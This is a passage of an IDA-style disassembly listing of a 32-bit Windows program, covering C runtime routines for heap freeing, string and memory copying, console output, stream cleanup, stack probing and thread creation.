loc_406FE1: ; CODE XREF: sub_406D70+23Fj
; sub_406D70+25Cj
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
cmp [ebp+var_C], eax
jz loc_4070DD
cmp [ebp+var_C], 0
jl short loc_407069
mov eax, [ebx-4]
mov [ebp+var_14], eax
cmp ebx, [ebp+var_14]
jnz short loc_407038
mov eax, [ebp+var_C]
mov dword_4111A8[eax*4], 0
mov eax, [ebp+var_C]
cmp dword_4111F8, eax
jnz short loc_407069
jmp short loc_407022
; ---------------------------------------------------------------------------
loc_40701C: ; CODE XREF: sub_406D70+2C4j
inc dword_4111F8
loc_407022: ; CODE XREF: sub_406D70+2AAj
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_407036
cmp eax, 7
jl short loc_40701C
loc_407036: ; CODE XREF: sub_406D70+2BFj
jmp short loc_407069
; ---------------------------------------------------------------------------
loc_407038: ; CODE XREF: sub_406D70+28Fj
mov eax, [ebx-8]
mov [ebp+var_18], eax
mov edx, [ebp+var_18]
mov eax, [ebp+var_14]
mov [edx-4], eax
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov [edx-8], eax
mov eax, [ebp+var_C]
cmp ebx, dword_4111A8[eax*4]
jnz short loc_407069
mov eax, [ebp+var_C]
mov edx, [ebp+var_18]
mov dword_4111A8[eax*4], edx
loc_407069: ; CODE XREF: sub_406D70+284j
; sub_406D70+2A8j ...
mov eax, [ebp+var_8]
mov eax, dword_4111A8[eax*4]
mov [ebp+var_18], eax
test eax, eax
jnz short loc_40709F
mov [ebp+var_14], ebx
mov [ebp+var_18], ebx
mov eax, [ebp+var_8]
mov dword_4111A8[eax*4], ebx
mov eax, [ebp+var_8]
cmp dword_4111F8, eax
jle short loc_4070A8
mov eax, [ebp+var_8]
mov dword_4111F8, eax
jmp short loc_4070A8
; ---------------------------------------------------------------------------
loc_40709F: ; CODE XREF: sub_406D70+308j
mov eax, [ebp+var_18]
mov eax, [eax-8]
mov [ebp+var_14], eax
loc_4070A8: ; CODE XREF: sub_406D70+323j
; sub_406D70+32Dj
mov eax, [ebp+var_18]
mov [ebx-4], eax
mov edx, [ebp+var_18]
mov [edx-8], ebx
mov edx, [ebp+var_14]
mov [edx-4], ebx
mov eax, [ebp+var_14]
mov [ebx-8], eax
mov eax, edi
shl eax, 2
mov edx, ebx
sub edx, eax
mov [edx+4], edi
mov [ebx], edi
mov eax, [ebp+var_8]
mov dword_4111FC, eax
mov dword_4111A8[eax*4], ebx
loc_4070DD: ; CODE XREF: sub_406D70+26j
; sub_406D70+27Aj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_406D70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4070F0 proc near ; CODE XREF: sub_401076+Fp
; DMN0:00401138p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00407163 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F864
push offset sub_4083B8
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
test ebx, ebx
jz short loc_407163
lea eax, [ebx-4]
cmp eax, dword_4111D0
jbe short loc_407130
cmp eax, dword_4111CC
jb short loc_407139
loc_407130: ; CODE XREF: sub_4070F0+36j
push ebx
call sub_408630
pop ecx
jmp short loc_407163
; ---------------------------------------------------------------------------
loc_407139: ; CODE XREF: sub_4070F0+3Ej
push 0
call sub_408740
pop ecx
mov [ebp+var_4], 0
push ebx
call sub_406D70
pop ecx
or [ebp+var_4], 0FFFFFFFFh
call sub_40715A
jmp short loc_407163
sub_4070F0 endp
; =============== S U B R O U T I N E =======================================
sub_40715A proc near ; CODE XREF: sub_4070F0+63p
; DATA XREF: DMN0:0040F86Co
push 0
call sub_4087C0
pop ecx
retn
sub_40715A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4070F0
loc_407163: ; CODE XREF: sub_4070F0+2Bj
; sub_4070F0+47j ...
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_4070F0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407180 proc near ; DATA XREF: sub_4071C0+38o
; sub_448141+38o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_8]
mov edi, ebx
cmp [edi+4], esi
jnb short loc_407196
mov esi, [edi+4]
loc_407196: ; CODE XREF: sub_407180+11j
push esi
mov eax, [ebp+arg_4]
push eax
mov eax, [edi]
push eax
call sub_407630
add esp, 0Ch
mov eax, [edi]
add eax, esi
mov [edi], eax
sub [edi+4], esi
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_407180 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4071C0 proc near ; CODE XREF: DMN0:004010F0p
; DMN0:00401120p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push ebx
cmp [ebp+arg_4], 0
jnz short loc_4071DC
lea eax, [ebp+var_4]
mov [ebp+var_8], eax
mov [ebp+var_4], 0
jmp short loc_4071EC
; ---------------------------------------------------------------------------
loc_4071DC: ; CODE XREF: sub_4071C0+Bj
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
dec eax
mov [ebp+arg_4], eax
mov [ebp+var_4], eax
loc_4071EC: ; CODE XREF: sub_4071C0+1Aj
mov eax, [ebp+arg_C]
push eax
mov eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_8]
push eax
push offset sub_407180
call sub_4087E0
add esp, 10h
mov ebx, eax
mov edx, [ebp+var_8]
mov byte ptr [edx], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
retn
sub_4071C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407220 proc near ; DATA XREF: sub_407260+22o
; sub_4481E1+22o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_8]
push 0
lea eax, [ebp+var_4]
push eax
push esi
mov eax, [ebp+arg_4]
push eax
push ebx
call dword_411D94 ; WriteConsoleA
test eax, eax
jz short loc_40724E
cmp [ebp+var_4], esi
jnz short loc_40724E
mov edi, ebx
jmp short loc_407250
; ---------------------------------------------------------------------------
loc_40724E: ; CODE XREF: sub_407220+23j
; sub_407220+28j
xor edi, edi
loc_407250: ; CODE XREF: sub_407220+2Cj
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_407220 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407260 proc near ; CODE XREF: DMN0:00401130p
; DMN0:0040114Cp ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_408A60
mov ebx, eax
cmp eax, 0FFFFFFFFh
jnz short loc_407279
or eax, 0FFFFFFFFh
jmp short loc_407291
; ---------------------------------------------------------------------------
loc_407279: ; CODE XREF: sub_407260+12j
lea edi, [ebp+arg_4]
push edi
mov eax, [ebp+arg_0]
push eax
push ebx
push offset sub_407220
call sub_4087E0
add esp, 10h
mov esi, eax
loc_407291: ; CODE XREF: sub_407260+17j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_407260 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4072A0 proc near ; DATA XREF: sub_4072C0+11o
; sub_448241+11o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push ebx
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_407630
add esp, 0Ch
add eax, ebx
pop ebx
pop ebp
retn
sub_4072A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4072C0 proc near ; CODE XREF: DMN0:004011CCp
; sub_4025A9+17Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
lea esi, [ebp+arg_8]
push esi
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
push offset sub_4072A0
call sub_4087E0
add esp, 10h
mov ebx, eax
test ebx, ebx
jl short loc_4072EB
mov eax, [ebp+arg_0]
mov byte ptr [eax+ebx], 0
loc_4072EB: ; CODE XREF: sub_4072C0+22j
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_4072C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407300 proc near ; CODE XREF: DMN0:004011F1p
; sub_403838+77p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 00407364 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F870
push offset sub_4083B8
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 6
call sub_408740
pop ecx
mov [ebp+var_4], 0
call sub_408AC0
push 0FFFFFFFFh
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_408B20
add esp, 10h
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_40735B
jmp short loc_407364
sub_407300 endp
; =============== S U B R O U T I N E =======================================
sub_40735B proc near ; CODE XREF: sub_407300+54p
; DATA XREF: DMN0:0040F878o
push 6
call sub_4087C0
pop ecx
retn
sub_40735B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_407300
loc_407364: ; CODE XREF: sub_407300+59j
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_407300
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407380 proc near ; DATA XREF: sub_4073B0+10o
; sub_448331+10o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_8]
push ebx
push esi
push 1
mov eax, [ebp+arg_4]
push eax
call sub_407760
add esp, 10h
cmp eax, esi
jnz short loc_4073A4
mov edi, ebx
jmp short loc_4073A6
; ---------------------------------------------------------------------------
loc_4073A4: ; CODE XREF: sub_407380+1Ej
xor edi, edi
loc_4073A6: ; CODE XREF: sub_407380+22j
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_407380 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4073B0 proc near ; CODE XREF: DMN0:0040120Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
push offset sub_407380
call sub_4087E0
add esp, 10h
mov ebx, eax
pop ebx
pop ebp
retn
sub_4073B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4073E0 proc near ; DATA XREF: sub_407400+48o
; sub_448381+48o
push ebx
xor ebx, ebx
loc_4073E3: ; CODE XREF: sub_4073E0+1Cj
mov eax, off_411370[ebx*4]
test eax, eax
jz short loc_4073F5
push eax
call sub_407560
pop ecx
loc_4073F5: ; CODE XREF: sub_4073E0+Cj
inc ebx
cmp ebx, 100h
jb short loc_4073E3
pop ebx
retn
sub_4073E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407400 proc near ; CODE XREF: sub_408B20:loc_408C54p
; sub_408EA0+B2p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00407467 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F87C
push offset sub_4083B8
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 6
call sub_408740
pop ecx
mov [ebp+var_4], 0
cmp dword_41105C, 0
jnz short loc_407453
mov dword_41105C, 1
push offset sub_4073E0
call sub_408C70
pop ecx
loc_407453: ; CODE XREF: sub_407400+3Cj
or [ebp+var_4], 0FFFFFFFFh
call sub_40745E
jmp short loc_407467
sub_407400 endp
; =============== S U B R O U T I N E =======================================
sub_40745E proc near ; CODE XREF: sub_407400+57p
; DATA XREF: DMN0:0040F884o
push 6
call sub_4087C0
pop ecx
retn
sub_40745E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_407400
loc_407467: ; CODE XREF: sub_407400+5Cj
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_407400
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_407480 proc near ; CODE XREF: sub_407560+39p
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
push ebx
call sub_408CA0
pop ecx
mov esi, eax
test word ptr [ebx], 40h
jz short loc_4074A1
mov eax, [ebx+8]
push eax
call sub_4070F0
pop ecx
loc_4074A1: ; CODE XREF: sub_407480+15j
mov dword ptr [ebx+8], 0
mov eax, [ebx+4]
test eax, eax
jl short loc_4074BD
push eax
call sub_408E20
pop ecx
test eax, eax
jz short loc_4074BD
or esi, 0FFFFFFFFh
loc_4074BD: ; CODE XREF: sub_407480+2Dj
; sub_407480+38j
mov eax, [ebx+3Ch]
test eax, eax
jz short loc_4074E3
push eax
call sub_407A90
pop ecx
test eax, eax
jz short loc_4074D2
or esi, 0FFFFFFFFh
loc_4074D2: ; CODE XREF: sub_407480+4Dj
mov eax, [ebx+3Ch]
push eax
call sub_4070F0
pop ecx
mov dword ptr [ebx+3Ch], 0
loc_4074E3: ; CODE XREF: sub_407480+42j
test word ptr [ebx], 80h
jz short loc_407514
xor edi, edi
loc_4074EC: ; CODE XREF: sub_407480+89j
cmp ebx, off_411370[edi*4]
jnz short loc_407502
mov off_411370[edi*4], 0
jmp short loc_40750B
; ---------------------------------------------------------------------------
loc_407502: ; CODE XREF: sub_407480+73j
inc edi
cmp edi, 100h
jb short loc_4074EC
loc_40750B: ; CODE XREF: sub_407480+80j
push ebx
call sub_4070F0
pop ecx
jmp short loc_40754D
; ---------------------------------------------------------------------------
loc_407514: ; CODE XREF: sub_407480+68j
mov word ptr [ebx], 0
or dword ptr [ebx+4], 0FFFFFFFFh
lea eax, [ebx+48h]
mov [ebx+8], eax
lea eax, [ebx+48h]
mov [ebx+10h], eax
lea eax, [ebx+48h]
mov [ebx+14h], eax
lea eax, [ebx+48h]
mov [ebx+2Ch], eax
lea eax, [ebx+48h]
mov [ebx+18h], eax
lea eax, [ebx+48h]
mov [ebx+30h], eax
lea eax, [ebx+48h]
mov [ebx+1Ch], eax
lea eax, [ebx+28h]
mov [ebx+20h], eax
loc_40754D: ; CODE XREF: sub_407480+92j
mov eax, esi
pop edi
pop esi
pop ebx
retn
sub_407480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407560 proc near ; CODE XREF: DMN0:00401214p
; sub_403838+108p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 004075B6 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F888
push offset sub_4083B8
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 6
call sub_408740
pop ecx
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
push eax
call sub_407480
pop ecx
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_4075AD
jmp short loc_4075B6
sub_407560 endp
; =============== S U B R O U T I N E =======================================
sub_4075AD proc near ; CODE XREF: sub_407560+46p
; DATA XREF: DMN0:0040F890o
push 6
call sub_4087C0
pop ecx
retn
sub_4075AD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_407560
loc_4075B6: ; CODE XREF: sub_407560+4Bj
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_407560
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4075D0 proc near ; CODE XREF: sub_401567+Fp
; sub_4015B7+Fp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
test edx, edx
jz short loc_40761E
mov ecx, [esp+arg_0]
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_407617
neg ecx
and ecx, 3
jz short loc_4075F9
sub edx, ecx
loc_4075F3: ; CODE XREF: sub_4075D0+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_4075F3
loc_4075F9: ; CODE XREF: sub_4075D0+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_407617
rep stosd
test edx, edx
jz short loc_40761D
loc_407617: ; CODE XREF: sub_4075D0+18j
; sub_4075D0+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_407617
loc_40761D: ; CODE XREF: sub_4075D0+45j
pop edi
loc_40761E: ; CODE XREF: sub_4075D0+6j
mov eax, [esp+arg_0]
retn
sub_4075D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_407630 proc near ; CODE XREF: sub_401A55+2Cp
; sub_401ADA+57p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
mov ecx, [esp+4+arg_8]
mov ebx, [esp+4+arg_0]
mov edx, [esp+4+arg_4]
jmp short loc_407646
; ---------------------------------------------------------------------------
loc_40763F: ; CODE XREF: sub_407630+18j
mov al, [edx]
mov [ebx], al
inc ebx
inc edx
dec ecx
loc_407646: ; CODE XREF: sub_407630+Dj
test ecx, ecx
jnz short loc_40763F
mov eax, [esp+4+arg_0]
pop ebx
retn
sub_407630 endp
; =============== S U B R O U T I N E =======================================
sub_407650 proc near ; CODE XREF: sub_402208+2Ep
; sub_402511+11p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
mov edx, ecx
jmp short loc_407659
; ---------------------------------------------------------------------------
loc_407658: ; CODE XREF: sub_407650+Cj
inc edx
loc_407659: ; CODE XREF: sub_407650+6j
cmp byte ptr [edx], 0
jnz short loc_407658
mov eax, edx
sub eax, ecx
retn
sub_407650 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_407670 proc near ; CODE XREF: sub_402296+3Fp
; sub_4025A9+2D6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push edi
mov ecx, [esp+8+arg_0]
mov ebx, [esp+8+arg_4]
mov edi, ecx
loc_40767C: ; CODE XREF: sub_407670+18j
mov eax, edi
inc edi
mov edx, ebx
inc ebx
mov dl, [edx]
mov [eax], dl
test dl, dl
jnz short loc_40767C
mov eax, ecx
pop edi
pop ebx
retn
sub_407670 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_407690 proc near ; CODE XREF: sub_402296+53p
; sub_402296+66p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ecx, [esp+4+arg_0]
mov ebx, [esp+4+arg_4]
mov edx, ecx
jmp short loc_40769E
; ---------------------------------------------------------------------------
loc_40769D: ; CODE XREF: sub_407690+11j
inc edx
loc_40769E: ; CODE XREF: sub_407690+Bj
cmp byte ptr [edx], 0
jnz short loc_40769D
jmp short loc_4076A7
; ---------------------------------------------------------------------------
loc_4076A5: ; CODE XREF: sub_407690+1Dj
inc edx
inc ebx
loc_4076A7: ; CODE XREF: sub_407690+13j
mov al, [ebx]
mov [edx], al
test al, al
jnz short loc_4076A5
mov eax, ecx
pop ebx
retn
sub_407690 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4076C0 proc near ; CODE XREF: sub_4025A9+268p
; sub_4025A9+297p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
mov eax, [esp+0Ch+arg_4]
cmp byte ptr [eax], 0
jnz short loc_4076F0
mov eax, ebx
jmp short loc_407709
; ---------------------------------------------------------------------------
loc_4076D4: ; CODE XREF: sub_4076C0+45j
mov edi, ebx
mov esi, [esp+0Ch+arg_4]
loc_4076DA: ; CODE XREF: sub_4076C0+2Dj
inc esi
mov eax, esi
cmp byte ptr [eax], 0
jnz short loc_4076E6
mov eax, ebx
jmp short loc_407709
; ---------------------------------------------------------------------------
loc_4076E6: ; CODE XREF: sub_4076C0+20j
inc edi
mov eax, edi
mov dl, [esi]
cmp [eax], dl
jz short loc_4076DA
inc ebx
loc_4076F0: ; CODE XREF: sub_4076C0+Ej
mov eax, [esp+0Ch+arg_4]
movzx eax, byte ptr [eax]
push eax
push ebx
call sub_408E80
add esp, 8
mov ebx, eax
test eax, eax
jnz short loc_4076D4
xor eax, eax
loc_407709: ; CODE XREF: sub_4076C0+12j
; sub_4076C0+24j
pop edi
pop esi
pop ebx
retn
sub_4076C0 endp
; ---------------------------------------------------------------------------
align 10h
pop ecx
pop eax
add eax, 3
and eax, 0FFFFFFFCh
call sub_407730
mov eax, esp
push ecx
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_407730 proc near ; CODE XREF: sub_402896+8p
; sub_402B02+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_407750
loc_40773C: ; CODE XREF: sub_407730+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_40773C
loc_407750: ; CODE XREF: sub_407730+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_407730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407760 proc near ; CODE XREF: sub_403838+D8p
; sub_405DF3+CBp ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov ebx, [ebp+arg_C]
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
mul [ebp+arg_8]
mov esi, eax
test eax, eax
jz loc_407864
cmp [ebp+arg_4], 0
jnz loc_40783A
mov eax, [ebp+arg_8]
jmp loc_407864
; ---------------------------------------------------------------------------
loc_407794: ; CODE XREF: sub_407760+DCj
mov eax, [ebx+18h]
cmp eax, [ebx+10h]
ja short loc_4077AB
push ebx
call sub_408EA0
pop ecx
test eax, eax
jl loc_407842
loc_4077AB: ; CODE XREF: sub_407760+3Aj
test word ptr [ebx], 400h
jz short loc_4077C6
push esi
push 0Ah
mov eax, [ebp+var_4]
push eax
call sub_408FA0
add esp, 0Ch
mov [ebp+var_10], eax
jmp short loc_4077CD
; ---------------------------------------------------------------------------
loc_4077C6: ; CODE XREF: sub_407760+50j
mov [ebp+var_10], 0
loc_4077CD: ; CODE XREF: sub_407760+64j
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
test eax, eax
jz short loc_4077E5
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
sub eax, edx
inc eax
mov [ebp+var_14], eax
jmp short loc_4077E8
; ---------------------------------------------------------------------------
loc_4077E5: ; CODE XREF: sub_407760+75j
mov [ebp+var_14], esi
loc_4077E8: ; CODE XREF: sub_407760+83j
mov edi, [ebp+var_14]
mov eax, [ebx+18h]
mov edx, [ebx+10h]
sub eax, edx
mov [ebp+var_C], eax
cmp [ebp+var_C], edi
jnb short loc_407805
mov [ebp+var_8], 0
mov edi, [ebp+var_C]
loc_407805: ; CODE XREF: sub_407760+99j
push edi
mov eax, [ebp+var_4]
push eax
mov eax, [ebx+10h]
push eax
call sub_407630
add esp, 0Ch
mov eax, [ebp+var_4]
add eax, edi
mov [ebp+var_4], eax
sub esi, edi
lea eax, [ebx+10h]
mov edx, [eax]
add edx, edi
mov [eax], edx
cmp [ebp+var_8], 0
jz short loc_40783A
push ebx
call sub_408CA0
pop ecx
test eax, eax
jnz short loc_407842
loc_40783A: ; CODE XREF: sub_407760+26j
; sub_407760+CDj
test esi, esi
jnz loc_407794
loc_407842: ; CODE XREF: sub_407760+45j
; sub_407760+D8j
test word ptr [ebx], 800h
jz short loc_407850
push ebx
call sub_408CA0
pop ecx
loc_407850: ; CODE XREF: sub_407760+E7j
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mul [ebp+arg_8]
sub eax, esi
mov edx, [ebp+var_8]
mov ecx, edx
xor edx, edx
div ecx
loc_407864: ; CODE XREF: sub_407760+1Cj
; sub_407760+2Fj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_407760 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407870 proc near ; DATA XREF: sub_407910+2Do
; sub_448891+2Do
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F894
push offset sub_4083B8
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
push ebx
mov eax, dword_411770
push eax
call dword_411D98 ; TlsSetValue
test eax, eax
jnz short loc_4078B2
push 1
call sub_409190
pop ecx
loc_4078B2: ; CODE XREF: sub_407870+38j
mov [ebp+var_4], 0
mov eax, [ebx+44h]
push eax
call dword ptr [ebx+40h]
pop ecx
call sub_4079A0
jmp short loc_4078F0
; ---------------------------------------------------------------------------
mov eax, [ebp+var_14]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_1C], eax
mov eax, [ebp+var_14]
push eax
mov eax, [ebp+var_1C]
push eax
call sub_4091A0
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov eax, [ebp+var_1C]
push eax
call sub_409190
pop ecx
loc_4078F0: ; CODE XREF: sub_407870+56j
or [ebp+var_4], 0FFFFFFFFh
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_407870 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407910 proc near ; CODE XREF: sub_403C3F+366p
; sub_40400E+14p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor esi, esi
push 48h
call sub_4081A0
pop ecx
mov ebx, eax
test eax, eax
jz short loc_40797F
push ebx
call sub_409060
pop ecx
mov eax, [ebp+arg_0]
mov [ebx+40h], eax
mov eax, [ebp+arg_8]
mov [ebx+44h], eax
push ebx
push 4
push ebx
push offset sub_407870
mov eax, [ebp+arg_4]
push eax
push 0
call dword_411D9C ; CreateThread
mov edi, eax
mov [ebx+4], eax
test eax, eax
jnz short loc_407961
call dword_411CE8 ; RtlGetLastWin32Error
mov esi, eax
jmp short loc_40797F
; ---------------------------------------------------------------------------
loc_407961: ; CODE XREF: sub_407910+45j
mov eax, edi
push eax
call dword_411DA0 ; ResumeThread
cmp eax, 0FFFFFFFFh
jnz short loc_40797B
call dword_411CE8 ; RtlGetLastWin32Error
mov esi, eax
jmp short loc_40797F
; ---------------------------------------------------------------------------
loc_40797B: ; CODE XREF: sub_407910+5Fj
mov eax, edi
